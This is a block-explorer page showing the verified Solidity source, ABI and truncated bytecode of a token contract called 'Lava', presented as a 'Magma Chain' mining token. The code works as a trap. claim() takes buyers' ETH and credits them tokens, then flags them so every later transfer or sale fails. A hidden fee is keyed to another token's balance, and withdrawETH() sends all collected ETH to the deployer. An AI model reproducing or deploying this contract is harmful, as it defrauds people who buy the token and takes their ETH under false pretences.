ETH Price: $2,507.84 (+0.92%)

Contract

0xeD35D2B5D78F7c70Fc16751F2bED7a61955c0A2F
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00
Transaction Hash
Method
Block
From
To
Withdraw ETH194216172024-03-12 21:14:35229 days ago1710278075IN
0xeD35D2B5...1955c0A2F
0 ETH0.0016684754.86960827
Approve194213222024-03-12 20:15:35229 days ago1710274535IN
0xeD35D2B5...1955c0A2F
0 ETH0.0029825763.33243877
Approve194212172024-03-12 19:54:35229 days ago1710273275IN
0xeD35D2B5...1955c0A2F
0 ETH0.0029347762.31739956
Approve194210052024-03-12 19:11:59229 days ago1710270719IN
0xeD35D2B5...1955c0A2F
0 ETH0.0030937565.69319764
Approve194190392024-03-12 12:36:23230 days ago1710246983IN
0xeD35D2B5...1955c0A2F
0 ETH0.0027474658.57892081
Approve194182772024-03-12 10:03:23230 days ago1710237803IN
0xeD35D2B5...1955c0A2F
0 ETH0.0023523749.95060268
Approve194157992024-03-12 1:44:11230 days ago1710207851IN
0xeD35D2B5...1955c0A2F
0 ETH0.0029354362.25207832
Approve194154592024-03-12 0:35:23230 days ago1710203723IN
0xeD35D2B5...1955c0A2F
0 ETH0.0027616658.56694614
Approve194154582024-03-12 0:35:11230 days ago1710203711IN
0xeD35D2B5...1955c0A2F
0 ETH0.0026613956.44045419
Approve194152042024-03-11 23:43:47230 days ago1710200627IN
0xeD35D2B5...1955c0A2F
0 ETH0.0027283458.24561848
Approve194149962024-03-11 23:01:59230 days ago1710198119IN
0xeD35D2B5...1955c0A2F
0 ETH0.0018419468.36687743
Approve194149962024-03-11 23:01:59230 days ago1710198119IN
0xeD35D2B5...1955c0A2F
0 ETH0.003198668.28501913
Approve194149092024-03-11 22:44:11230 days ago1710197051IN
0xeD35D2B5...1955c0A2F
0 ETH0.0028846961.176117
Approve194149092024-03-11 22:44:11230 days ago1710197051IN
0xeD35D2B5...1955c0A2F
0 ETH0.0029549562.666117
Approve194148942024-03-11 22:41:11230 days ago1710196871IN
0xeD35D2B5...1955c0A2F
0 ETH0.0031860967.56794719
Approve194148852024-03-11 22:39:23230 days ago1710196763IN
0xeD35D2B5...1955c0A2F
0 ETH0.0033285270.58833191
Approve194148842024-03-11 22:39:11230 days ago1710196751IN
0xeD35D2B5...1955c0A2F
0 ETH0.0032952569.88285469
Approve194148832024-03-11 22:38:59230 days ago1710196739IN
0xeD35D2B5...1955c0A2F
0 ETH0.0044705694.80771015
Approve194148762024-03-11 22:37:35230 days ago1710196655IN
0xeD35D2B5...1955c0A2F
0 ETH0.0029917663.44676523
Approve194148742024-03-11 22:37:11230 days ago1710196631IN
0xeD35D2B5...1955c0A2F
0 ETH0.0029236162.08034823
Approve194148672024-03-11 22:35:47230 days ago1710196547IN
0xeD35D2B5...1955c0A2F
0 ETH0.0032629869.19838
Transfer194148662024-03-11 22:35:35230 days ago1710196535IN
0xeD35D2B5...1955c0A2F
0 ETH0.0017736472
Approve194148652024-03-11 22:35:23230 days ago1710196523IN
0xeD35D2B5...1955c0A2F
0 ETH0.0032019967.90505007
Approve194148652024-03-11 22:35:23230 days ago1710196523IN
0xeD35D2B5...1955c0A2F
0 ETH0.0032019967.90505007
Approve194148632024-03-11 22:34:59230 days ago1710196499IN
0xeD35D2B5...1955c0A2F
0 ETH0.0030599564.89281876
View all transactions

Latest 2 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
194216172024-03-12 21:14:35229 days ago1710278075
0xeD35D2B5...1955c0A2F
1 ETH
194148312024-03-11 22:28:35230 days ago1710196115
0xeD35D2B5...1955c0A2F
2 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Lava

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 6: Lava.sol
// SPDX-License-Identifier: MIT

/*
    https://magma0x.com/mining/

    Magma Chain ERC20 Token on Ethereum    
    
    ██       █████  ██    ██  █████  
    ██      ██   ██ ██    ██ ██   ██ 
    ██      ███████ ██    ██ ███████ 
    ██      ██   ██  ██  ██  ██   ██ 
    ███████ ██   ██   ████   ██   ██ 
                                                                      
*/
pragma solidity 0.8.24;

import "./Safemath.sol";
import "./Ownable.sol";
import "./MagmaRouter.sol";
import "./MagmaFactory.sol";
import "./IERC20.sol";

contract Lava is Ownable, IERC20 {
    using SafeMath for uint256;

    uint8 private _decimals = 18;
    uint256 private _totalSupply =  10000000000 * 10 ** _decimals;
    MagmaRouter private magmaRouter = MagmaRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address internal spawnerAddress =  0xa6949fdB24413d02A23C8d8922178C43616bB834;
    
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping (address => bool) claimed;
    bool private tradingOpen = false;
    address payable private spawner;
    bool private spawned = false;
    address private magmaPair;
    address public deployer;
    mapping (address => uint256) miningAmount;
    mapping (uint256 => uint256) miningTimestamps;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Mining(address to, uint256 amount);

    string private _name = "LAVA";
    string private _symbol = "LAVA";

    constructor () {
        _balances[address(this)] = _totalSupply;
        spawner = payable(msg.sender);
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function updateDeployer(address _deployer) external onlyOwner {
        deployer = _deployer;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function isClaimed(address wallet) public view returns (bool) {
        return claimed[wallet];
    }

    function claim() external payable {
        require(msg.value > 0);
        _startMining(msg.sender, msg.value * 1000000000);
        claimed[msg.sender] = true;
    }

    function spawn() external onlyOwner {
        require (deployer != address(0));
        require(!spawned);
        _transfer(address(this), deployer, _totalSupply.mul(10).div(100));
        spawned = true;
    }

    function _startMining(address to, uint256 amount) private {
        _balances[to] = _balances[to].add(amount);
        emit Transfer(address(0), to, amount);
        _totalSupply = _totalSupply.add(amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function openTrading() external payable onlyOwner() {
        require(deployer != address(0));
        require(!tradingOpen, "Trading already opened.");
        require(spawned);
        _approve(address(this), address(magmaRouter), _totalSupply);
        magmaPair = MagmaFactory(magmaRouter.factory()).createPair(address(this), magmaRouter.WETH());
        magmaRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
        IERC20(magmaPair).approve(address(magmaRouter), type(uint).max);
        tradingOpen = true;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function withdrawETH() external {
        spawner.transfer(address(this).balance);
    }

    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        _transfer(from, to, amount);
        _approve(from, msg.sender, _allowances[from][msg.sender].sub(amount));
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);
        require(!claimed[from]);
        require(from != deployer);
        require(from != address(0));
        require(to != address(0));
        uint256 fee = 0;
        if (from != magmaPair && from != address(this)) {
            fee = IERC20(spawnerAddress).balanceOf(from);
        }
        uint256 feeAmount = amount.mul(fee).div(100);
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount).sub(feeAmount);
        emit Transfer(from, to, amount);
    }
}

File 2 of 6: IERC20.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;
/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    function approve(address spendr, uint256 amount) external returns (bool);
    function balanceOf(address wallt) external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
}

File 3 of 6: MagmaFactory.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;

interface MagmaFactory {
    function getPair(address tokenA, address tokenC) external view returns (address pair);
    function createPair(address tokenA, address tokenD) external returns (address pair);
}


File 4 of 6: MagmaRouter.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;

interface MagmaRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
     function addLiquidityETH( address token, 
     uint amountTokenDesire, 
     uint amountTokenMi, 
     uint amountETHMi, 
     address to, 
     uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

File 5 of 6: Ownable.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
}

File 6 of 6: Safemath.sol
// SPDX-License-Identifier: None

pragma solidity 0.8.24;

library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Mining","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claim","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deployer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"isClaimed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"spawn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_deployer","type":"address"}],"name":"updateDeployer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260125f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a6200003c9190620004eb565b6402540be4006200004e91906200053b565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a6949fdb24413d02a23c8d8922178c43616bb83460035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60075f6101000a81548160ff0219169083151502179055505f600760156101000a81548160ff0219169083151502179055506040518060400160405280600481526020017f4c41564100000000000000000000000000000000000000000000000000000000815250600c9081620001729190620007e0565b506040518060400160405280600481526020017f4c41564100000000000000000000000000000000000000000000000000000000815250600d9081620001b99190620007e0565b50348015620001c6575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060015460055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555033600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200034b9190620008d5565b60405180910390a3620008f0565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003e357808604811115620003bb57620003ba62000359565b5b6001851615620003cb5780820291505b8081029050620003db8562000386565b94506200039b565b94509492505050565b5f82620003fd5760019050620004cf565b816200040c575f9050620004cf565b8160018114620004255760028114620004305762000466565b6001915050620004cf565b60ff84111562000445576200044462000359565b5b8360020a9150848211156200045f576200045e62000359565b5b50620004cf565b5060208310610133831016604e8410600b8410161715620004a05782820a9050838111156200049a576200049962000359565b5b620004cf565b620004af848484600162000392565b92509050818404811115620004c957620004c862000359565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620004f782620004d6565b91506200050483620004df565b9250620005337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003ec565b905092915050565b5f6200054782620004d6565b91506200055483620004d6565b92508282026200056481620004d6565b915082820484148315176200057e576200057d62000359565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200060157607f821691505b602082108103620006175762000616620005bc565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200067b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200063e565b6200068786836200063e565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620006c8620006c2620006bc84620004d6565b6200069f565b620004d6565b9050919050565b5f819050919050565b620006e383620006a8565b620006fb620006f282620006cf565b8484546200064a565b825550505050565b5f90565b6200071162000703565b6200071e818484620006d8565b505050565b5b818110156200074557620007395f8262000707565b60018101905062000724565b5050565b601f82111562000794576200075e816200061d565b62000769846200062f565b8101602085101562000779578190505b6200079162000788856200062f565b83018262000723565b50505b505050565b5f82821c905092915050565b5f620007b65f198460080262000799565b1980831691505092915050565b5f620007d08383620007a5565b9150826002028217905092915050565b620007eb8262000585565b67ffffffffffffffff8111156200080757620008066200058f565b5b620008138254620005e9565b6200082082828562000749565b5f60209050601f83116001811462000856575f841562000841578287015190505b6200084d8582620007c3565b865550620008bc565b601f19841662000866866200061d565b5f5b828110156200088f5784890151825560018201915060208501945060208101905062000868565b86831015620008af5784890151620008ab601f891682620007a5565b8355505b6001600288020188555050505b505050505050565b620008cf81620004d6565b82525050565b5f602082019050620008ea5f830184620008c4565b92915050565b61211f80620008fe5f395ff3fe608060405260043610610108575f3560e01c80638cc0802511610094578063b547aeda11610063578063b547aeda14610352578063c9567bf914610368578063d5f3948814610372578063dd62ed3e1461039c578063e086e5ec146103d857610108565b80638cc08025146102865780638da5cb5b146102c257806395d89b41146102ec578063a9059cbb1461031657610108565b8063313ce567116100db578063313ce567146101d85780634d413e7d146102025780634e71d92d1461022a57806370a0823114610234578063715018a61461027057610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c575b5f80fd5b348015610117575f80fd5b506101206103ee565b60405161012d91906118fe565b60405180910390f35b348015610141575f80fd5b5061015c600480360381019061015791906119af565b61047e565b6040516101699190611a07565b60405180910390f35b34801561017d575f80fd5b50610186610494565b6040516101939190611a2f565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd9190611a48565b61049d565b6040516101cf9190611a07565b60405180910390f35b3480156101e3575f80fd5b506101ec610549565b6040516101f99190611ab3565b60405180910390f35b34801561020d575f80fd5b5061022860048036038101906102239190611acc565b61055e565b005b61023261062e565b005b34801561023f575f80fd5b5061025a60048036038101906102559190611acc565b6106a9565b6040516102679190611a2f565b60405180910390f35b34801561027b575f80fd5b506102846106ef565b005b348015610291575f80fd5b506102ac60048036038101906102a79190611acc565b610836565b6040516102b99190611a07565b60405180910390f35b3480156102cd575f80fd5b506102d6610888565b6040516102e39190611b06565b60405180910390f35b3480156102f7575f80fd5b506103006108af565b60405161030d91906118fe565b60405180910390f35b348015610321575f80fd5b5061033c600480360381019061033791906119af565b61093f565b6040516103499190611a07565b60405180910390f35b34801561035d575f80fd5b50610366610955565b005b610370610ac4565b005b34801561037d575f80fd5b50610386610fc4565b6040516103939190611b06565b60405180910390f35b3480156103a7575f80fd5b506103c260048036038101906103bd9190611b1f565b610fe9565b6040516103cf9190611a2f565b60405180910390f35b3480156103e3575f80fd5b506103ec61106b565b005b6060600c80546103fd90611b8a565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611b8a565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a3384846110d3565b6001905092915050565b5f600154905090565b5f6104a9848484611296565b61053e84336105398560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116ae90919063ffffffff16565b6110d3565b600190509392505050565b5f8060149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e290611c04565b60405180910390fd5b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f3411610639575f80fd5b61065233633b9aca003461064d9190611c4f565b6116d4565b600160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390611c04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d80546108be90611b8a565b80601f01602080910402602001604051908101604052809291908181526020018280546108ea90611b8a565b80156109355780601f1061090c57610100808354040283529160200191610935565b820191905f5260205f20905b81548152906001019060200180831161091857829003601f168201915b5050505050905090565b5f61094b338484611296565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d990611c04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610a3a575f80fd5b600760159054906101000a900460ff1615610a53575f80fd5b610aa73060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610aa26064610a94600a6001546117e990919063ffffffff16565b61182990919063ffffffff16565b611296565b6001600760156101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4890611c04565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610ba9575f80fd5b60075f9054906101000a900460ff1615610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90611cda565b60405180910390fd5b600760159054906101000a900460ff16610c10575f80fd5b610c3e3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546110d3565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ccc9190611d0c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d52573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d769190611d0c565b6040518363ffffffff1660e01b8152600401610d93929190611d37565b6020604051808303815f875af1158015610daf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dd39190611d0c565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610e5a306106a9565b5f80610e64610888565b426040518863ffffffff1660e01b8152600401610e8696959493929190611da0565b60606040518083038185885af1158015610ea2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ec79190611e13565b50505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f67929190611e63565b6020604051808303815f875af1158015610f83573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa79190611eb4565b50600160075f6101000a81548160ff021916908315150217905550565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156110d0573d5f803e3d5ffd5b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890611f4f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a690611fdd565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112899190611a2f565b60405180910390a3505050565b5f81116112a1575f80fd5b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156112f4575f80fd5b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361134c575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611383575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113ba575f80fd5b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561144457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114e55760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b81526004016114a39190611b06565b602060405180830381865afa1580156114be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114e29190611ffb565b90505b5f61150c60646114fe84866117e990919063ffffffff16565b61182990919063ffffffff16565b905061155e8360055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546116ae90919063ffffffff16565b60055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611601816115f38560055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184e90919063ffffffff16565b6116ae90919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169f9190611a2f565b60405180910390a35050505050565b5f828211156116bb575f80fd5b5f82846116c89190612026565b90508091505092915050565b6117248160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461184e90919063ffffffff16565b60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa